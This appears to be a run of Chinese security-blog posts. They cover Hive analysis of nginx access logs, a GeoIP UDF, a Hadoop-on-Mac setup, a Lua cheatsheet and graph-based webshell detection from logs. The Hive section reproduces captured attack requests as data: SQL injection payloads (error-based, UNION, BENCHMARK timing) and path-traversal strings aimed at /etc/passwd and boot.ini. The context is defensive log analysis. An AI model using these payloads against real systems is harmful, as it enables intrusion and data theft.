SerDe(序列化,反序列化配置)在读数据时将记录解析成列,在写数据时将列编码成记录。

hive> alter table nginxlog
> set serde 'org.apache.hadoop.hive.serde2.RegexSerDe'
> with serdeproperties("input.regex" = "(\\d+\\.\\d+\\.\\d+\\.\\d+)\\s+(\\[[^\\]]+\\])\\s+(\\w*\\(\\d*\\))\\s+(\\w*\\(\\d*\\))\\s+(\\d{3})\\s+(\\d+)\\s+([A-Z]+)\\s+\\\"([^\"]+)\\\"\\s+\\\"([^\"]+)\\\"\\s+\\\"([^\"]+)\\\"\\s+\\\"([^\"]+)\\\"\\s+\\\"([^\"]+)\\\"\\s+\\\"([^\"]+)\\\"\\s+\\\"([^\"]+)\\\"") ;


表创建成功后,我们可以看到其在hadoop中的存储位置为

hive> dfs -ls /user/hive/warehouse/weblog.db/nginxlog;
Found 1 items
-rwxrwxr-x 1 root supergroup 1861896 2015-05-12 20:22 /user/hive/warehouse/weblog.db/nginxlog/access.log

我们可以查看表的结构

hive> describe nginxlog;
OK
remote_addr string
time_local string
attack_type string
ban_type string
status string
body_bytes_sent string
request_method string
request_uri string
http_user_agent string
http_x_forwarded_for string
http_referer string
http_cookie string
request_body string
http_content_type string
Time taken: 0.055 seconds, Fetched: 14 row(s)


第三步:导入原始日志文件

load data local inpath "/home/tanjiti/nginx/logs/access.log" overwrite into table nginxlog;


第四步:创建另一个表,用来存储url parse后的数据

create table urlparse(

request_uri string,

requestfilename string,

param map<string,string>);

将url parse数据存入urlparse表中

insert overwrite table urlparse select request_uri, case when instr(request_uri,'?') == 0 then substr(request_uri,0,length(request_uri)) else substr(request_uri,0,instr(request_uri,'?')-1) end as requestfilename, case when instr(request_uri,'?') == 0 then NULL else str_to_map(substr(request_uri,instr(request_uri,'?')+1),'&','=') end as param from nginxlog;

我们可以检查一下存入的数据

urlparse.request_uri urlparse.requestfilename urlparse.param (列名)
/forummission.php /forummission.php NULL
/userapp.php?script=notice&view=all&option=deluserapp&action=invite&hash='%20and%20(select%201%20from%20(select%20count(*),concat(md5(3.1415),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 /userapp.php {"hash":"'%20and%20(select%201%20from%20(select%20count(*),concat(md5(3.1415),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23","action":"invite","option":"deluserapp","view":"all","script":"notice"}

注:这种解析方法非常粗略,对不符合url?k1=v1&k2=v2格式的请求是无法正确解析的,其中就包括url改写的,实际应用需要改善,这里仅仅是示例


第五步:探索URL特征

我们从统计的角度来探索url的一些特征:

  1. 每个host对应多少个去重的url请求;
  2. 这些URL请求的:
  3. 参数个数的分布特征
  4. 参数长度的分布特征
  5. 参数名的取值枚举及取值分类:Word,  ParaArray( e.g. text["fafa"], t[]),Other
  6. 参数值的取值分类:Digits( e.g. -123  +56 123.3  .3 1,123,123),Word, Email, PATH(windows/*linux), URI,SafeText(-_.,:a-zA-Z0-9\s), Flag(Null), DuplicatePara(e.g. a=1&a=2), Base64, Encrypt(md5, sha1),Other

扩展开来,这种探索方法我们可以用来生成URL白名单,当然在探索前,我们需要对日志源进行清理操作,去除非正常日志例如攻击日志,server错误日志(只取2xx,3xx),静态日志(avi,jpg等),重复日志等杂音,与规范化处理例如统一PATH(压缩多个//, 转换/->\),扯远了。

长度性的判断可以简单地使用切比雪夫定理大数据之hive安装及分析web日志实例 - 碳基体 - 碳基体

 

对于数值性的统计分析,Hive提供了一些内置函数,例如

描述数据集中趋势的:均值avg;

描述数据离散程度的:方差var_pop;标准差stddev_pop;协方差covar_pop;相关系数corr


这些功能的实现有些可以用内置的函数,有些就得编写自定义函数了。

内置函数之获得请求路径,该路径下出现的参数名数组,参数值数组

select requestfilename,map_keys(param),map_values(param) from urlparse where param is not null limit 10;

部分结果如下

/bbs/plugin.php ["action","identifier","fmid","module"] ["view","family","1+and+1=2+unIon+selecT+%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,group_concat(0x3a,0x3a,md5(3.1415),0x3a,0x3a),25,26,27,28,29,30,31--%20-","family"]
/wp-content/plugins/profiles/library/bio-img.php ["id"] ["-1%27%20AND%201=IF(2%3E1,BENCHMARK(10000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20-"]

内置函数之获得index.php下所有的查询字符串key-value对

hive> from (select explode(param) from urlparse where param is not NULL and requestfilename = '/index.php') e select distinct *;

部分结果如下

view ../../../../../../../../../../../../../../../../../../boot.ini%00
view ../../../../../../../../../../../../../../../../etc/passwd%00
view c%3A%5CBoot.ini%00
view music
view object
view portfolio
view thread
view timereturns

内置函数之获得每条url的参数分布统计特征

hive> select s.requestfilename as requestfilename, sum(distinct s.param_num) as sum, avg(s.param_num) as avg, max(s.param_num) as max, min(s.param_num) as min, variance(s.param_num) as variance, var_samp(s.param_num) as var_samp, stddev_pop(s.param_num) as stddev_pop, stddev_samp(s.param_num) as stddev_samp from (select requestfilename as requestfilename,size(param) as param_num from urlparse where param is not null)s group by s.requestfilename limit 10;

部分结果如下:

requestfilename sum avg max min variance var_samp stddev_pop stddev_samp
/ 21 2.4623655913978495 6 1 0.8077234362354029 0.816503038803179 0.8987343524286823 0.9036055770097808
//m_5_1/govdiropen/que_chooseusers.jsp 1 1.0 1 1 0.0 0.0 0.0 0.0


第六步:编写用户自定义函数-IP GEO信息查询

我们用查询Maxmind IP库来定位remote_addr的地理位置

    1. 下载maxmind geoip java api并打包成jar包

git clone https://github.com/maxmind/geoip-api-java.git

cd geoip-api-java/
mvn clean install

会生成target/geoip-api-1.2.15-SNAPSHOT.jar文件

     2. 获得IP库数据文件

wget http://geolite.maxmind.com/download/geoip/database/GeoLiteCountry/GeoIP.dat.gz

gzip -d GeoIP.dat.gz 

     3. 编写hive-geo UDF function

源码参照 https://raw.githubusercontent.com/edwardcapriolo/hive-geoip/master/src/main/java/com/jointhegrid/udf/geoip/GenericUDFGeoIP.java

源码由四部分组成

1.函数使用说明文档,describe function  中会看到的内容

@Description(
name = "geoip",
value = "_FUNC_(ip,property,database) - loads database into GEO-IP lookup "+
"service, then looks up 'property' of ip. "

extended = "Example:\n"

+ "> SELECT _FUNC_(ip,'COUNTRY_CODE','/GeoIP.data') from src LIMIT 1;\n "
)

2. initialize初始阶段,检查传入参数合法性、确认其类型,比如说本例的第一个参数可以是string,也可以是长整形

public ObjectInspector initialize(ObjectInspector[] arguments)

                      throws UDFArgumentException {

3. 查询逻辑的实现,查询中对应的每个应用到这个函数的地方都会对这个类进行实例化

public Object evaluate(DeferredObject[] arguments) throws HiveException 

4.调式使用

public String getDisplayString(String[] children)


自定义非聚合类函数的编写方式基本可以参照上面的源码的结构,改吧改吧

注:聚合类函数编写要比这个复杂些

源码放置在我的git上 https://github.com/tanjiti/UDFExample/tree/master

在eclipse上编译成jar包,当然也可以采用命令行的方式,有兴趣的见第四部分的内容

  大数据之hive安装及HiveQL查询web日志实例 - 碳基体 - 碳基体

 大数据之hive安装及HiveQL查询web日志实例 - 碳基体 - 碳基体

附加:eclipse安装fatjar插件的方法

Help - install new software - work with 处填入http://kurucz-grafika.de/fatjar

    4. 接下来的操作就是hive操作了

add jar /home/tanjiti/UDFExample/UDFExample.jar; #这个操作是设置classpath,但有些问题

add jar /home/tanjiti/UDFExample/lib/geoip-api-1.2.15-SNAPSHOT.jar
add jar /home/tanjiti/UDFExample/lib/hive-exec-1.1.0.jar;
add file /tmp/GeoIP.dat; #这个操作其实就是使用hadoop分布式缓存
create temporary function geoip as 'udfExample.GenericUDFGeoIP';
select geoip(remote_addr,"COUNTRY_NAME","/tmp/GeoIP.dat") from nginxlog limit 1;

或者

select geoip(3514683273,"COUNTRY_NAME","/tmp/GeoIP.dat");

结果如下

xxx.xxx.xxx United States


为了避免不必要的麻烦,请写全路径,全路径,全路径,重要的事情说三遍。


到这里,这篇科普文就结束了,下面的有兴趣可以看看,血泪史

-----------------------------------------------------------------------------------------------------------------------------------(血泪分割线)

老习惯,记录一下遇到的bug

错误5:

Exception in thread "main" java.lang.NoClassDefFoundError: com/maxmind/geoip/LookupService

    at udfExample.GenericUDFGeoIP.evaluate(GenericUDFGeoIP.java:133)
    at org.apache.hadoop.hive.ql.udf.generic.GenericUDF.initializeAndFoldConstants(GenericUDF.java:145)
    at org.apache.hadoop.hive.ql.plan.ExprNodeGenericFuncDesc.newInstance(ExprNodeGenericFuncDesc.java:232)
    at org.apache.hadoop.hive.ql.parse.TypeCheckProcFactory$DefaultExprProcessor.getXpathOrFuncExprNodeDesc(TypeCheckProcFactory.java:958)
    at org.apache.hadoop.hive.ql.parse.TypeCheckProcFactory$DefaultExprProcessor.process(TypeCheckProcFactory.java:1168)
    at org.apache.hadoop.hive.ql.lib.DefaultRuleDispatcher.dispatch(DefaultRuleDispatcher.java:90)
    at org.apache.hadoop.hive.ql.lib.DefaultGraphWalker.dispatchAndReturn(DefaultGraphWalker.java:94)
    at org.apache.hadoop.hive.ql.lib.DefaultGraphWalker.dispatch(DefaultGraphWalker.java:78)
    at org.apache.hadoop.hive.ql.lib.DefaultGraphWalker.walk(DefaultGraphWalker.java:132)
    at org.apache.hadoop.hive.ql.lib.DefaultGraphWalker.startWalking(DefaultGraphWalker.java:109)
    at org.apache.hadoop.hive.ql.parse.TypeCheckProcFactory.genExprNode(TypeCheckProcFactory.java:192)
    at org.apache.hadoop.hive.ql.parse.TypeCheckProcFactory.genExprNode(TypeCheckProcFactory.java:145)
    at org.apache.hadoop.hive.ql.parse.SemanticAnalyzer.genAllExprNodeDesc(SemanticAnalyzer.java:10530)
    at org.apache.hadoop.hive.ql.parse.SemanticAnalyzer.genExprNodeDesc(SemanticAnalyzer.java:10486)
    at org.apache.hadoop.hive.ql.parse.SemanticAnalyzer.genSelectPlan(SemanticAnalyzer.java:3720)
    at org.apache.hadoop.hive.ql.parse.SemanticAnalyzer.genSelectPlan(SemanticAnalyzer.java:3499)
    at org.apache.hadoop.hive.ql.parse.SemanticAnalyzer.genPostGroupByBodyPlan(SemanticAnalyzer.java:9011)
    at org.apache.hadoop.hive.ql.parse.SemanticAnalyzer.genBodyPlan(SemanticAnalyzer.java:8966)
    at org.apache.hadoop.hive.ql.parse.SemanticAnalyzer.genPlan(SemanticAnalyzer.java:9812)
    at org.apache.hadoop.hive.ql.parse.SemanticAnalyzer.genPlan(SemanticAnalyzer.java:9705)
    at org.apache.hadoop.hive.ql.parse.SemanticAnalyzer.genOPTree(SemanticAnalyzer.java:10141)
    at org.apache.hadoop.hive.ql.parse.CalcitePlanner.genOPTree(CalcitePlanner.java:286)
    at org.apache.hadoop.hive.ql.parse.SemanticAnalyzer.analyzeInternal(SemanticAnalyzer.java:10152)
    at org.apache.hadoop.hive.ql.parse.CalcitePlanner.analyzeInternal(CalcitePlanner.java:192)
    at org.apache.hadoop.hive.ql.parse.BaseSemanticAnalyzer.analyze(BaseSemanticAnalyzer.java:222)
    at org.apache.hadoop.hive.ql.Driver.compile(Driver.java:421)
    at org.apache.hadoop.hive.ql.Driver.compile(Driver.java:307)
    at org.apache.hadoop.hive.ql.Driver.compileInternal(Driver.java:1112)
    at org.apache.hadoop.hive.ql.Driver.runInternal(Driver.java:1160)
    at org.apache.hadoop.hive.ql.Driver.run(Driver.java:1049)
    at org.apache.hadoop.hive.ql.Driver.run(Driver.java:1039)
    at org.apache.hadoop.hive.cli.CliDriver.processLocalCmd(CliDriver.java:207)
    at org.apache.hadoop.hive.cli.CliDriver.processCmd(CliDriver.java:159)
    at org.apache.hadoop.hive.cli.CliDriver.processLine(CliDriver.java:370)
    at org.apache.hadoop.hive.cli.CliDriver.executeDriver(CliDriver.java:754)
    at org.apache.hadoop.hive.cli.CliDriver.run(CliDriver.java:675)
    at org.apache.hadoop.hive.cli.CliDriver.main(CliDriver.java:615)
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:606)
    at org.apache.hadoop.util.RunJar.run(RunJar.java:221)
    at org.apache.hadoop.util.RunJar.main(RunJar.java:136)
Caused by: java.lang.ClassNotFoundException: com.maxmind.geoip.LookupService
    at java.net.URLClassLoader$1.run(URLClassLoader.java:366)
    at java.net.URLClassLoader$1.run(URLClassLoader.java:355)
    at java.security.AccessController.doPrivileged(Native Method)
    at java.net.URLClassLoader.findClass(URLClassLoader.java:354)
    at java.lang.ClassLoader.loadClass(ClassLoader.java:425)
    at java.lang.ClassLoader.loadClass(ClassLoader.java:358)
    ... 43 more


有经验的或者有java常识的都知道java.lang.NoClassDefFoundError 多半是classpath环境变量的问题了

但我是菜鸟,其实出现该错误的操作是嫌弃fat jar包打包缓慢,因此用不熟悉的命令行打包,结果花了很多时间来定位原因。。。所幸找到了解决方案

四、命令行编译打包jar文件

一、首先介绍一下源码结构

├── bin  #用来存放编译后的字节文件

│?? └── udfExample

│??     └── GenericUDFGeoIP.class

├── lib #用到的外部jar包

│?? ├── geoip-api-1.2.15-SNAPSHOT.jar

│?? └── hive-exec-1.1.0.jar

├── mymainfest #mainfest文件,非常重要

├── src #java源文件

│?? └── udfExample

│??     ├── GenericUDFGeoIP.java

│??     └── GenericUDFNvl.java


二、编译源文件

javac -d bin/ -sourcepath src/ -cp lib/hive-exec-1.1.0.jar:lib/geoip-api-1.2.15-SNAPSHOT.jar src/udfExample/GenericUDFGeoIP.java

-cp <path>                 指定依赖的库文件或字节文件
-sourcepath <path>         指定源文件路径

-d <directory>             指定编译后的字节文件存放路径

三、编辑mainfest文件 (千万别忘了这步)

vim mymainfest

编辑

Main-Class: udfExample.GenericUDFGeoIP
Class-Path: lib/geoip-api-1.2.15-SNAPSHOT.jar lib/hive-exec-1.1.0.jar

四、打包

jar cvfm UDFExample.jar mymainfest lib/* src/* -C bin .

-c 创建一个新的jar包
-v 显示详细信息
-f 指定jar包的路径

-C 切换到指定目录, -C 目录后跟着的. 表示包含指定目录下的所有文件
-m 指定mainfest文件

接下来就是hive上操作了

接下来计划把hadoop mapreduce入门的坑填上


hive文档参考:
https://github.com/edwardcapriolo/hive-geoip/

《hive编程指南》

mac安装hadoop+Eclipse开发环境

$
0
0
前言:
实在受够了在两台机器跑来跑去的操作了(在windows上用eclipse编辑源码(java渣不用IDE会死掉)后编译导出jar包(实在慢),再上传到ubuntu上hadoop运行的悲催步骤,虽然后续想到了命令行编译(速度上来了)的方法,但仍需要在两台机器来回切换,很轴的我,决定找一种不用两台机器切换的一站式开发方法,因此有了本文。

总的环境配置:

OS:mac os x 10.10.3 
Java HotSpot(TM) 64-Bit Server VM (build 24.79-b02, mixed mode)
Eclipse 4.4.2
Hadoop 2.7
Xcode 6.3.2
homebrew 


安装运行过程如下

一、预装依赖环境
1. JAVA

/Library/Java/JavaVirtualMachines/jdk1.7.0_79.jdk/Contents/Home/

2. homebrew

ruby -e "$(curl -fsSL https://raw.github.com/Homebrew/homebrew/go/install)"

3. ssh环境

ssh-keygen -t dsa -P '' -f ~/.ssh/id_dsa

cat ~/.ssh/id_dsa.pub >>~/.ssh/authorized_keys

二、安装及配置hadoop
1. 安装hadoop

brew install hadoop

回显,安装成功,注意hadoop安装目录 /usr/local/Cellar/hadoop/2.7.0/libexec



==> Downloading https://www.apache.org/dyn/closer.cgi?path=hadoop/common/hadoop-
==> Best Mirror http://mirror.bit.edu.cn/apache/hadoop/common/hadoop-2.7.0/hadoo
######################################################################## 100.0%
==> Caveats
In Hadoop's config file:
  /usr/local/Cellar/hadoop/2.7.0/libexec/etc/hadoop/hadoop-env.sh,
  /usr/local/Cellar/hadoop/2.7.0/libexec/etc/hadoop/mapred-env.sh and
  /usr/local/Cellar/hadoop/2.7.0/libexec/etc/hadoop/yarn-env.sh
$JAVA_HOME has been set to be the output of:
  /usr/libexec/java_home
==> Summary
?  /usr/local/Cellar/hadoop/2.7.0: 6297 files, 324M, built in 2.3 minutes

2. 配置hadoop
 (1)配置hadoop-env.sh

vim /usr/local/Cellar/hadoop/2.7.0/libexec/etc/hadoop/hadoop-env.sh

编辑

#export HADOOP_OPTS="$HADOOP_OPTS -Djava.net.preferIPv4Stack=true"
export HADOOP_OPTS="${HADOOP_OPTS} -Djava.security.krb5.realm= -Djava.security.krb5.kdc="
export HADOOP_OPTS="${HADOOP_OPTS} -Djava.security.krb5.conf=/dev/null"

(2)配置yarn-env.sh

vim /usr/local/Cellar/hadoop/2.7.0/libexec/etc/hadoop/yarn-env.sh

编辑

YARN_OPTS="$YARN_OPTS -Djava.security.krb5.realm=OX.AC.UK -Djava.security.krb5.kdc=kdc0.ox.ac.uk:kdc1.ox.ac.uk"

(3)配置core-site.xml

vim /usr/local/Cellar/hadoop/2.7.0/libexec/etc/hadoop/core-site.xml

编辑

   <property>
            <name>fs.defaultFS</name>
            <value>hdfs://localhost:9000</value>
  </property>

(4)配置hdfs-site.xml

vim /usr/local/Cellar/hadoop/2.7.0/libexec/etc/hadoop/hdfs-site.xml

编辑

   <property>
            <name>dfs.replication</name>
            <value>1</value>
   </property>

(5)配置mapred-site.xml

cp /usr/local/Cellar/hadoop/2.7.0/libexec/etc/hadoop/mapred-site.xml.template /usr/local/Cellar/hadoop/2.7.0/libexec/etc/hadoop/mapred-site.xml
vim /usr/local/Cellar/hadoop/2.7.0/libexec/etc/hadoop/mapred-site.xml

编辑

   <property>
      <name>mapreduce.framework.name</name>
      <value>yarn</value>
   </property>

(6)配置yarn-site.xml

vim /usr/local/Cellar/hadoop/2.7.0/libexec/etc/hadoop/yarn-site.xml

编辑

   <property>
               <name>yarn.nodemanager.aux-services</name>
               <value>mapreduce_shuffle</value>
   </property>


3. 格式化dfs

rm -rf /tmp/hadoop-tanjiti 如果曾经安装过,需要清除
hadoop namenode -format


4.启动
启动hdfs

start-dfs.sh

启动mapreduce

 start-yarn.sh

检查启动情况

jps

结果如下

17632
20464 NameNode
20991 Jps
20665 SecondaryNameNode
20870 ResourceManager
20552 DataNode
20967 NodeManager


5. 检查mapreduce是否能正常运行
运行hadoop自带实例

hadoop jar /usr/local/Cellar/hadoop/2.7.0/libexec/share/hadoop/mapreduce/hadoop-mapreduce-examples-2.7.0.jar pi 2 5


我们可以通过以下web接口查看mapreduce任务

http://localhost:8088 Cluster Status 这个接口非常有用

http://localhost:50090 secondaryNamenode
三、安装eclipse+hadoop开发环境
1. 安装eclipse
2. 安装fatjar 插件

http://kurucz-grafika.de/fatjar

如果报错不兼容,安装Eclipse 2.0 style plugin support
mac安装hadoop+Eclipse开发环境 - 碳基体 - 碳基体
3. 安装 及配置 hadoop 2x eclipse 插件
(1)下载对应版本的jar包放在 eclipse plugins 安装目录下,重启eclipse即可
(2)配置hadoop安装目录
mac安装hadoop+Eclipse开发环境 - 碳基体 - 碳基体
(3)打开mapreduce工作空间
mac安装hadoop+Eclipse开发环境 - 碳基体 - 碳基体
 
mac安装hadoop+Eclipse开发环境 - 碳基体 - 碳基体
 (4)添加hadoop地址
按红色框框操作
mac安装hadoop+Eclipse开发环境 - 碳基体 - 碳基体
Location name随便填
DFS Master 端口为 hdfs://localhost:9000 地址
 mac安装hadoop+Eclipse开发环境 - 碳基体 - 碳基体
添加成功后,可以在DFS Locations看到HDFS里的内容
mac安装hadoop+Eclipse开发环境 - 碳基体 - 碳基体
 
  三、实战-仍然使用WordCount例子
1. 编辑源码
添加蓝框里的文件,源码加配置文件(如果不添加配置文件,会报各种错误)
配置文件

/usr/local/Cellar/hadoop/2.7.0/libexec/etc/hadoop/

下的

core-site.xml hdfs-site.xml log4j.properties

mac安装hadoop+Eclipse开发环境 - 碳基体 - 碳基体
  
2. 添加WordCount的数据源文件
mac安装hadoop+Eclipse开发环境 - 碳基体 - 碳基体
选择文件后,reconnect 
mac安装hadoop+Eclipse开发环境 - 碳基体 - 碳基体
 可以看到添加的数据文件
mac安装hadoop+Eclipse开发环境 - 碳基体 - 碳基体
 
3. 运行
指定输入文件路径与输出文件路径并运行
mac安装hadoop+Eclipse开发环境 - 碳基体 - 碳基体


mac安装hadoop+Eclipse开发环境 - 碳基体 - 碳基体
 
运行结果如下,同样reconnect一下就能看到结果了
mac安装hadoop+Eclipse开发环境 - 碳基体 - 碳基体
  
 四、问题纪录
在mac上安装hadoop开发环境,几乎花费了一个周六,当然大多数时间都是由于家里的网络太破了处于等待下载中。
在这过程中,顺便把mac操作系统更新了(有一年多没更新了),xcode、homebrew都更新了,整理系统与整理衣橱一样的让人开心,当然也遇到了一堆的问题
1. data node无法启动——刚开始以为是java不兼容的原因,查了很久,后来发现删除hdfs遗留文件,重新格式化,重新启动就可以了
2. fatjar插件不兼容——安装Eclipse 2.0 style plugin support
3. eclipse-hadoop插件没法更新HDFS的内容——重启eclipse,reconnect
4. eclipse运行找不到输入文件路径——添加配置文件
5. 讨厌的警告,虽然不影响实际运行,但总和镜子上的污点一样让人忍不住要擦掉 (在这个问题上花费了很多时间)

WARN util.NativeCodeLoader: Unable to load native-hadoop library for your platform... using builtin-java classes where applicable

查看Native Libraries Guard官方文档,结果说不支持Mac OS X平台
mac安装hadoop+Eclipse开发环境 - 碳基体 - 碳基体
 不死心,网上查方法(hadoop 2.4的解决方案),需要patch后重新编译,可惜编译没通过,于是放弃了,望成功的同学告知


参考:

lua cheatsheet(烂俗名:如何快速学lua)

$
0
0
lua由于其高性能的特征,被广泛应用于game与server编程。对web领域的人,ngx_lua是必备技能,如何快速的入门呢?(要学的好还是得learn xxx the hard way),就是快速浏览了基本语法后,站在前人的总结下前进。

一、lua基本语法
(1)lua有哪些数据类型? nil,boolean,number,string,table,function,userdata,thread
(2)lua有哪些操作符?算术操作符,关系操作符,逻辑操作符,字符串连接,操作符优先级,table构造式
(3)lua的语句块,控制结构?赋值操作;do-end语句块;if-then-else-end;while-do-end;repeat-untl;for-do=end;break,return
(4)lua函数编写方式?什么是第一类值?什么是词法域?什么是闭包?什么是尾调?
(5)lua错误处理与调试?assert,pcall,debug
(6)什么是metatable,metamethod?
(7)如何使用第三方模块?如何编写自己的模块?require,module
(8)lua有哪些标准库?(标准库与第三方库的丰富程度决定了绝对新手的开挂程度)math,bitwise,table,string,I/O, OS,debug库(字符串操作,输入输出操作是变成中最最基本的实际需求)
(9)如何与C代码进行交互?lua作为解释型语言,特性就是其能够非常轻易的生成动态执行代码?lua作为性能大能语言,特性就是c模块的无缝连接-动态连接机制? package.loadlib


二、lua语言特别的地方
(1)table是lua中主要的仅有的数据结构机制,table是一个动态分配的对象,程序仅持有一个对他们的引用(或指针),lua 不会暗中产生table的副本或创建新的table。table的创建是通过构造表达式完成的. 
(2)lua数组通常以1作为索引的起始值
(3)长度操作符(#)以nil元素为结尾标记
(4) lua将值false和nil视为价,其余为真
(5)函数是第一类值,函数可以存储在变量中,可以通过参数传递给其他函数,还可以作为其他函数的返回值
 (6) 使用 ~= 用作不等性操作(其他语言一般用 !=)
(7) 对于table,userdata,function,lua是作引用比较的,只有当它们引用同一个对象时,才认为它们相等
(8)词法域与闭包的概念当一个函数内部嵌套另一个函数定义时,内部的函数体可以访问外部的函数的局部变量
(9)dofile与loadfile与loadstring的区别:dofile 每次都编译;loadfile  编译代码成中间码并且返回编译后的chunk作为一个函数,而不执行代码。loadfile只需要编译一次,但可以多次运行;loadstring 与loadfile相似,只不过它不是从文件里读入chunk,而是从一个串中读入
(10)使用table构造式描述数据文件使得lua在数据文件处理上事半功倍,2M数据不到1s
(11)metatable与metamethod的概念,通常,lua中的每个值都有一套预定义的操作集合。可以通过元表来修改一个值得行为,使其在面对一个非预定义的操作时执行一个指定的操作。lua中的每个值都有一个元表,table和userdata可以有各自独立的元表,而其他类型的值则共享其类型所属的单一元表。lua在创建新的table时不会创建元表,可以使用setmetatable来设置或修改任何table的元表。在lua代码中,只能设置table的元表,若要设置其他类型的值的元表,则必须通过C代码来完成。lua会检测一个操作中的值是否有元表,这些元表中是否定义了关于此操作的元方法
(12)在lua中,()空白捕获它在目标字符串中的位置
(13)lua没有整数类型,lua中的数字可以表示任何32位整数,而不会产生四舍五入的错误
(14)lua的字符串是不可变的值,lua程序中操作100k或1M的字符串是很常见的,可以通过数值\ddd来指定字符串中的字符 
(15)lua字符串界定符,可以用一对匹配的双方括号(两个方括号加上任意数量的等号)来界定一个字母字符串,lua不会解释其中的转义序列。此外,如果字符串的第一个字符是一个换行符号,lua会忽略它。这种写法对书写含有程序代码的字符串尤为有用
(16)泛型for的理解(更深入点,对迭代器的理解),ipairs与pairs的区别,pairs 迭代table元素,ipairs 迭代数组元素, ipairs从下标为1开始遍历,然后下标累加1,如果某个下标元素不存在就终止遍历。这就导致如果下标不连续或者不是从1开始的表就会中断或者遍历不到元素

p.s.最最喜欢的就是everything is table与函数第一类值特性

三、性能优化点 
(1)尽可能使用局部变量(其实是个时空平衡问题,local变量访问速度要快但是增加了本地变量的创建和消耗)
(2)当需要创建非常多的小size表的时候,最好预先填写表的大小
(3)在大字符串连接时,我们应避免..,应用table来模拟buffer,然后concat得到最终字符串
(4)把循环中不变的东西放到循环外来创建
(5) x.y 比x:y 快


四、良好的编程习惯
(1)使用pcall来进行错误与异常的处理是非常好的习惯(来自血的教训)
(2)使用变量前先判断是否为nil(来自血的教训)
(3)在做lua编程的时候,一般会把性能瓶颈的部分交给c来实现(游戏行业更显著),但是,如果使用luajit(在不修改代码的情况下可以获得平均5倍的加速),要注意c的代码越多,luajit优化的幅度越小,尝试尽可能的用lua来实现功能,会带来意想不到的效果哦
(4)遵循lua编程规范 


五、应用
1. server
下一篇文章说说nginx与luajit的快速结合

2. game
虽然离开了游戏行业,但一直关注着大牛们的动态,最喜欢的有云风 

后续:
1. 使用lua table做配置文件超级赞

local M = {

}
return M

。。。

参考:
《lua程序设计》第三版
http://wuzhiwei.net/lua_performance/
http://lua-users.org/wiki/LuaStyleGuide

webshell检测-日志分析

$
0
0

一直认为日志分析的最终奥义是取证与预测——讲述完整的已发生、正在发生的、将来会发生的攻击故事(何时.何地.何人.何事.何故)。
而本文之所以讲如何识别webshell,就是想从确定的攻击事件来回溯已发生的攻击事件,被植入的webshell毫无疑问就属于确定的攻击事件,只要曾经被传入过,就有很高的概率一直被黑

webshell检测不是新鲜事,主流有杀毒软件与入侵检测系统两种做法,而这两种方法除了技术上的缺陷外(后文会讲),更多时候,由于无法拿到完整的文件样本(webshell查杀工具部署成本比较高,有系统兼容问题,有性能问题),或无法拿到完整的流量信息(流量镜像的部署成本也非常高),而采用成本较低的日志分析方法。

本文重点讲webshell检测的日志分析方法,包括模型是如何建立与实现的,最后会简单的提一下传统的检测方法与之对比。

一、分析
总的思路:先找到异常日志,再找到攻击日志,整个过程分为两个步骤:webshell提取 + webshell确认
(p.s就像我在

web日志异常检测实践之长度异常模型 与理工渣眼中的HMM及安全应用

介绍的,先发现未知,然后从未知中确认已知)

1、webshell提取

根据安全经验,我们可以给出以下假设 

(1)webshell 的访问特征(主要特征)
1)少量的IP对其发起访问 
2)总的访问次数
3)该页面属于孤立页面


注意红色标记的词汇都是抽象的形容词,我们需要将这些特征量化,比如说少量,多少算少量?什么是孤立页面?
接下来常见的描述性统计方法上场,我们来统计
1)单个URL每天的总访问分布
2)单个URL的独立访问IP数目分布
3)单个URL的入度、出度分布 (我们可以将网站的访问路径当成一个有向图)

下面,小小科普一下有向图的基本概念
如何通过数据分析提取webshell - 碳基体 - 碳基体
 
 

节点vertices(node):1,2,3,4,5,6,7,8 相当于访问日志中的url
边edge:1->2 1->3 4->1 5->1 6->5 7->7 相当于从A url跳转到B url
入度in-degree 
出度out-degree

节点1的入度为2, 出度为2
节点2、节点3的入度为1,出度为0
节点4、节点6的入度为0,出度为1 ,属于悬挂节点(pendant vertex),比较特殊,例如404跳转到首页会产生这样的节点
节点5的入度为1,出度为1
节点7的入度为1,出度为1,但自己指向自己,属于自回路,大多数有验证的webshell都属于这种
节点8的入度为0,出度为0,属于孤立节点(isolated vertex)

而节点7、8就属于webshell访问特征中的(3)该页面属于孤立页面

(p.s. 使用基于图的异常检测方法Graph-based Anomaly Detection, 在安全检测方法中占据非常非常非常非常重要的位置,例如检测受蠕虫感染的机器等)

补充20151103:对于出度入度>1的webshell也是存在的,什么是孤立,与其他页面的交互度为多少算孤立,都是相对的。
当webshell采用<a href>标签列出当前目录下的文件的时候,就会产生与其他页面的交互。当需要多个脚本协同作用的webshell也会产生交互。




当然不是所有的孤立页面都是webshell,以下情况也会造成孤立页面
(1)隐藏管理后台等正常孤立页面(多半是过期遗忘的,或者没有做访问控制权限的)的访问
(补充20151103:有人质疑过,后台为啥会孤立,登进去后不就跳转到其他页面了吗?如果只是打开页面,不做登陆操作呢?)
(2)扫描器行为,常见漏洞扫描,PoC扫描,Webshell扫描(日志中经常可以看到常见webshell路径加一句话payload的扫描)——这是最主要的干扰数据,需要剔除

对于情况(1)采用白名单的方式,对于情况(2)扫描器识别
(p.s. 爬虫技术、指纹识别技术、扫描器识别(广义的可衍生到人机识别)可以称为web安全技术的三驾马车,总也绕不过去)

补充20151103:模型运行了1个多月后,发现孤立页面的情况真是五花八门,一些站点放了个“安全”检测工具,“上传压缩密码重置”便捷工具都不带删的。

(2)webshell 的path特征(辅助特征)
除了weshell特有的访问特征,我们也可以用path特征来辅助提取
我们来看一批真实的webshell
如何通过数据分析提取webshell - 碳基体 - 碳基体
 
会发现不同手段植入的webshell路径各有特征,例如上传的webshell,如果上传组件有保护措施的(

文件上传漏洞防御——图片写马的剔除

)会进行文件名重写(示例中的32位的十六进制的名字),并在路径中还有日期特征,这类webshell还极易出现在静态资源目录(图片,样式、配置、)下。

